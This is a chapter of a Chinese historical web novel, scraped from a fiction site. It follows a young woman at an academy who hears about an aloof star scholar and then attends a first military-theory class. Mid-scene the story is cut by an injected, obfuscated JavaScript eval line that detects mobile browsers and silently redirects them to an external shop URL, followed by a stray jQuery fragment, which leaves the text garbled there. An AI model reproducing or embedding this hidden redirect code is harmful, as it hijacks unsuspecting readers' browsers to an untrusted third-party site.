文趣网 > 其他小说 > 铁袖红袂(权谋) > 14. 陈司学
    “她们的衣服,为什么是你来洗?”

    李双凌边问边打量着赵小秋,在家做丫鬟干活是天经地义的,可是在学堂里,大家都一样是来读书的,她干嘛要给别人洗衣服?

    她看着赵小秋瘦小的身体和她粗糙的手,第一反应就是,她被人欺负了?

    很显然,赵小秋也看出来她在想什么,连忙摇头:“哎呀,你想到哪儿去了。我帮她们洗衣服,她们是给我钱的。”

    “哦……”李双凌笑了起来,“我真是想太多了。”

    “所以嘛,不用你替我洗。”赵小秋腼腆一笑,“我这种成绩中等的,只能靠洗洗衣服赚钱。如果我成绩好一些,说不定就能像陈司学那样……”

    “陈司学?”

    “学堂会在每届学生中选一位才学最出众的,帮夫子做些勤务,称为司学。”

    李双凌若有所思,“夫子会给酬劳吗?”

    赵小秋点点头,“但只是小头。娘子,你不是萝台府本地人吧?陈司学从小就是神童,六岁就能出口成诵,我们本地人都知道他的。”

    李双凌若有所思,陈潜的名字一下就蹦到她的脑海里,她试探性地问:“他不会还是郝夫子的得意门生吧?”

    “没错,就是!你认识他?”

    李双凌怔了怔,不知道该怎么回答。

    若说不认识,那确实有一面之缘,若说认识嘛,好像也算不上……

    她想起上次自己的失态,想起白衡所说他的身世,想起那日斑驳窗影下清瘦却挺拔的背影。

    “哎,我就知道你不认识。”赵小秋有些失望地摇摇头,“你不知道学堂里有多少女生想认识他,甚至很多有钱人家去他家提亲,毕竟这样才貌双全的人,日后的前途不可限量……不过他不好女色不近世俗,从不跟女孩多说话。”

    李双凌看着她讲起陈潜时满怀憧憬的表情,却有些不以为然地垂下眼眸。这性格,说好听点是高洁出尘,说难听就是有点孤僻自傲嘛……

    怪不得他见她第一面时,她站得略近了些,他就那么不自在。更怪不得那次,他和娄霄、白衡一起去福和记酒楼吃饭,他一个人先离开了。

    想必以他的性子,与这二人同席吃饭,对他来说都是很不情愿的……

    “啊,刚才说到一半……我为什么说夫子给的酬劳只是小头呢?因为,郝夫子的军理课是全校最难的一门课,而陈司学是学得最好的……有人出三两银子,求购陈司学的课堂笔记……”

    赵小秋滔滔不绝地讲着,李双凌起初还认真听,越听到后面越没有耐心,随意敷衍了几句,连忙还了她衣裳,独自回了校舍。

    很幸运,她是女生中单出来的那个,没有室友,虽然房间比一般的小了些,却避免了许多不必要的麻烦,这一夜,她睡得很安心。

    第二天一早便是军理课,是在德清堂,跟这里的学生们一起上,下午才去无极营自己的演武场操练。去上课的路上,学生们聚在一起叽叽喳喳,李双凌自顾自听着,发现她们讨论得最多的就是一个问题——

    “你们说陈司学今日会不会来?”

    对于这个问题,有人持否定态度:“应该不会吧,听说他家里有事,而且今天也不是郝夫子授课……”

    也有人持积极观点:“今天是开学第一天,陈司学肯定会来的”

    李双凌饶有兴趣地听着众人叽叽喳喳地讨论,心想这问题根本不值得花时间讨论,因为马上就会有答案了。

    三天时间内能得到解决的问题,不需要费心思。

    来到教室,果然有了答案。

    晨起时空气中的蒙蒙雾气,如今已被阳光驱散,凝结在松叶上,起了一层淡淡的霜。阳光穿过松叶,照在书桌上,桌边人一手持卷,手指纤长。他穿半旧的素衣,背挺得笔直,一张线条极美的侧脸,勾出一条淡金色的边。

    花痴的女生们不由得兴奋地低呼:“是陈司学……”

    虽然她们很有礼貌地压低了声音,可这声音的大小,陈潜绝对能听到。

    但他听见却似没听见,依然目不转睛手不释卷,静静地坐在那里,连动都没有动,只是沉浸在自己的世界中。

    李双凌看着他,不得不承认,他确实长得极好,好到无需任何装饰加以衬托。

    无需浅碧深红色,自是花中第一流。

    赵小秋用胳膊肘捅了捅李双凌,低声道:“那个就是陈司学……”

    “咦?你也来上课?”

    “是呀,军理课是全校都要修的课,一年级和二年级一起上。”赵小秋亲切地拉着她,“要不要跟我坐一起?”

    李双凌看了看她,又看了看陈潜身边空着的一排座位,一笑。

    她拉起赵小秋的手,坐到了第一排,陈潜旁边。

    而后她对陈潜狡黠一笑,带着点打趣的意思,“初九兄?”

    陈潜表情忽然一怔,瞥了她一眼,没说话,而是兀自把书合上,起身走到后排去了。

    李双凌的手僵在原地,半晌,不可置信地转头,心想不是吧,他怎么这样!

    身后男男女女都用看笑话的眼光看着她,赵小秋也很同情:“他不喜欢有人跟他坐得太近的,平时他坐在哪里一整排都没人的,你别在意。”

    李双凌叹了口气,好吧,美人都是有些奇奇怪怪的个性的。

    她又回头看了看陈潜,本来还想为上次她的不礼貌跟他说句对不起的。这下,可怎么道歉呢?

    不多时,白衡和娄霄也来了,李双凌忙招呼他们坐到自己旁边,白衡表示拒绝:“我可不要坐第一排!”

    不过娄霄却是甘之如饴,摇着扇子就坐到了陈潜刚才的位置上,与周围的同学们礼貌地互相点点头致意。

    足足等了一炷香工夫,今日为郝夫子代课的庞夫子才姗姗来迟。

    庞夫子身长不过六尺,是个其貌不扬的小老头,乍一看,一点学士气质都没有。他刚介绍了自己的名字:庞庸,座下便有人窃笑起来。

    庞夫子却不恼,问道:

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17918671|213402||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “是谁在笑?”

    座下自然无人应声——谁敢承认?虽然庞夫子看起来没有生气,但是,很有可能那只是“看起来”。

    庞夫子走下讲台,来到后面几排,走到一个胖子面前站定。

    李双凌回头一看,那不是昨天冲她吹口哨的那个胖子?

    庞夫子拍了拍他的桌子,“你刚才笑了,来,给大家讲讲你为何要笑。”

    教室里气氛有些沉重,毕竟开学第一课,夫子刚讲了第一句话,就出了这事。

    姜满在夫子面前也像个避猫鼠般,一点都不似昨日的神气,垂头丧气地回答:“庸,就是平庸的意思,夫子以庸为名,故此笑矣……”

    庞夫子捋捋胡须,“你叫什么名字?”

    “回夫子,学生叫,姜满。”

    他声音发虚,很没底气地回答完毕,就等着夫子发落——训话?批评?

    所有学生也都在等着夫子的反应,不知这个小老头会是个急脾气还是个笑面虎,就在此时,教室前面却传来一阵笑声。

    这笑声来得突兀,惹来整间教室的目光。

    姜满也有些气恼地瞪向发笑之人,这一眼,却叫他后悔了——

    这不就是昨天那个糊他满脸泥的女人吗!!

    庞夫子也走到第一排,微笑问李双凌:“你呢,又笑什么?”

    李双凌坦荡地站起来,笑着回答:“谦受益,满招损,他叫姜满……”

    众人哄笑。

    姜满又急又气,却又无法发作,毕竟夫子惹不起,这女的他也惹不起!

    庞夫子捋了捋胡子,却微笑不语,走回了讲台。

    李双凌答完问题便坐下,心想这德清堂名师荟萃,据说一向主讲军理课的郝夫子是从翰林院退下来的,曾经做过刘桂大人的助手——刘相位高权重,他的助手自然也是精明能干,否则凭什么能坐上那么高的位置?

    而这位庞夫子虽然只是代课,其貌不扬的外表下却也是深藏不露的水准。他自己不必多说一句话,多解释一个字,只是借李双凌之口,便能让姜满下不来台。

    当然了,李双凌也是很乐意卖庞夫子一个人情的。

    最主要的还是那个姜满不争气,就算读过书,也是满脑子的歪脑筋,哪里配跟庞夫子斗嘴?

    庞夫子讲课也讲得飞快,一上午的课下来,大家都不如早上那样精神振奋,一个个都有了疲惫之色。刚一下课,所有人都飞似的涌进饭堂,尤其是无极营的学生们——下午还要去演武场,那可是十分消耗精力的。只有赵小秋还在向庞夫子请教问题,李双凌倒也没等她,先跟白衡、娄霄一道去了饭堂。

    跟白衡走在一起,回头率总是很高的。

    李双凌身量高挑,细腰宽背,娄霄也是身材结实,步伐轻健。两个人跟在奇装异服又雌雄莫辨的白衡身边,看起来很像他的保镖。

    来到打饭的师傅面前,李双凌正在一脸期待地研究今日午餐有什么菜色,却听白衡道:“噫,好脏……”